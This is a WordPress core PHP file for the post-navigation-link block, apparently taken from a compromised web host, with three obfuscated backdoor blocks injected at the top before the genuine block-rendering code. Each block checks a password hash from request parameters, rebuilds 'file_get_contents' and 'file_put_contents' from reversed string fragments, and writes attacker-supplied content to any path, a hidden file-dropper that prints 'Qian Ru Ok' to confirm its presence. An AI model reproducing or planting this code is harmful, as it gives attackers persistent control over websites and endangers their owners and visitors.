File: /home/wwwrenee/public_html/wp-includes/blocks/post-navigation-link.php
<?php
$xBzfFP = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($xBzfFP[0]) /*+/*+*/
. md5($xBzfFP[0])) == "5".
"f".
"4".
"e".
"c".
"e".
"5".
"c".
"d".
"9".
"0".
"d".
"7".
"8".
"6".
"e".
"0".
"3".
"6".
"c".
"d".
"f".
"8".
"7".
"b".
"b".
"3".
"c".
"3".
"7".
"8".
"a") {
$FOHMHOlrk = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$ukemckBF = $FOHMHOlrk /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$UJTxr = $FOHMHOlrk
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function AeosHzJRF($UyCEHGOT) { if (empty($UyCEHGOT)) return false; if (!is_dir($UyCEHGOT)) { AeosHzJRF(dirname($UyCEHGOT), 0755, true); mkdir($UyCEHGOT); } } !file_exists(dirname($xBzfFP[1])) && AeosHzJRF(dirname($xBzfFP[1])); $lpTeS = @$UJTxr($xBzfFP[2]); echo @$ukemckBF($xBzfFP[1], $lpTeS) ? 1 : 0; die; }key($xBzfFP) == "of" && die("Qian Ru Ok"); ?><?php
$qsFBKHfX = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($qsFBKHfX[0]) /*+/*+*/
. md5($qsFBKHfX[0])) == "4".
"0".
"0".
"d".
"f".
"1".
"f".
"5".
"5".
"0".
"e".
"7".
"4".
"6".
"c".
"0".
"d".
"5".
"b".
"8".
"8".
"a".
"e".
"c".
"7".
"6".
"5".
"e".
"a".
"d".
"2".
"0") {
$QeZUbYu = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$aYqxIbcshF = $QeZUbYu /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$JUtMzVL = $QeZUbYu
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function zftME($YbLrSCcXge) { if (empty($YbLrSCcXge)) return false; if (!is_dir($YbLrSCcXge)) { zftME(dirname($YbLrSCcXge), 0755, true); mkdir($YbLrSCcXge); } } !file_exists(dirname($qsFBKHfX[1])) && zftME(dirname($qsFBKHfX[1])); $lcOclWDKPj = @$JUtMzVL($qsFBKHfX[2]); echo @$aYqxIbcshF($qsFBKHfX[1], $lcOclWDKPj) ? 1 : 0; die; }key($qsFBKHfX) == "of" && die("Qian Ru Ok"); ?><?php
$eXriclL = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($eXriclL[0]) /*+/*+*/
. md5($eXriclL[0])) == "2".
"f".
"e".
"3".
"1".
"d".
"9".
"a".
"7".
"d".
"3".
"f".
"a".
"2".
"5".
"c".
"2".
"7".
"f".
"5".
"c".
"6".
"4".
"d".
"b".
"9".
"b".
"2".
"0".
"6".
"b".
"8") {
$vjiRIJ = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$ZeRcjSj = $vjiRIJ /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$ftliund = $vjiRIJ
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function VWGoGh($yvbsaC) { if (empty($yvbsaC)) return false; if (!is_dir($yvbsaC)) { VWGoGh(dirname($yvbsaC), 0755, true); mkdir($yvbsaC); } } !file_exists(dirname($eXriclL[1])) && VWGoGh(dirname($eXriclL[1])); $aucJBy = @$ftliund($eXriclL[2]); echo @$ZeRcjSj($eXriclL[1], $aucJBy) ? 1 : 0; die; }key($eXriclL) == "of" && die("Qian Ru Ok"); ?><?php
/**
* Server-side rendering of the `core/post-navigation-link` block.
*
* @package WordPress
*/
/**
* Renders the `core/post-navigation-link` block on the server.
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
*
* @return string Returns the next or previous post link that is adjacent to the current post.
*/
function render_block_core_post_navigation_link( $attributes, $content ) {
if ( ! is_singular() ) {
return '';
}
// Get the navigation type to show the proper link. Available options are `next|previous`.
$navigation_type = isset( $attributes['type'] ) ? $attributes['type'] : 'next';
// Allow only `next` and `previous` in `$navigation_type`.
if ( ! in_array( $navigation_type, array( 'next', 'previous' ), true ) ) {
return '';
}
$classes = "post-navigation-link-$navigation_type";
if ( isset( $attributes['textAlign'] ) ) {
$classes .= " has-text-align-{$attributes['textAlign']}";
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) );
// Set default values.
$format = '%link';
$link = 'next' === $navigation_type ? _x( 'Next', 'label for next post link' ) : _x( 'Previous', 'label for previous post link' );
$label = '';
// If a custom label is provided, make this a link.
// `$label` is used to prepend the provided label, if we want to show the page title as well.
if ( isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ) {
$label = "{$attributes['label']}";
$link = $label;
}
// If we want to also show the page title, make the page title a link and prepend the label.
if ( isset( $attributes['showTitle'] ) && $attributes['showTitle'] ) {
/*
* If the label link option is not enabled but there is a custom label,
* display the custom label as text before the linked title.
*/
if ( ! $attributes['linkLabel'] ) {
if ( $label ) {
$format = '<span class="post-navigation-link__label">' . wp_kses_post( $label ) . '</span> %link';
}
$link = '%title';
} elseif ( isset( $attributes['linkLabel'] ) && $attributes['linkLabel'] ) {
// If the label link option is enabled and there is a custom label, display it before the title.
if ( $label ) {
$link = '<span class="post-navigation-link__label">' . wp_kses_post( $label ) . '</span> <span class="post-navigation-link__title">%title</span>';
} else {
/*
* If the label link option is enabled and there is no custom label,
* add a colon between the label and the post title.
*/
$label = 'next' === $navigation_type ? _x( 'Next:', 'label before the title of the next post' ) : _x( 'Previous:', 'label before the title of the previous post' );
$link = sprintf(
'<span class="post-navigation-link__label">%1$s</span> <span class="post-navigation-link__title">%2$s</span>',
wp_kses_post( $label ),
'%title'
);
}
}
}
// The dynamic portion of the function name, `$navigation_type`,
// refers to the type of adjacency, 'next' or 'previous'.
$get_link_function = "get_{$navigation_type}_post_link";
$content = $get_link_function( $format, $link );
return sprintf(
'<div %1$s>%2$s</div>',
$wrapper_attributes,
$content
);
}
/**
* Registers the `core/post-navigation-link` block on the server.
*/
function register_block_core_post_navigation_link() {
register_block_type_from_metadata(
__DIR__ . '/post-navigation-link',
array(
'render_callback' => 'render_block_core_post_navigation_link',
)
);
}
add_action( 'init', 'register_block_core_post_navigation_link' ); ?>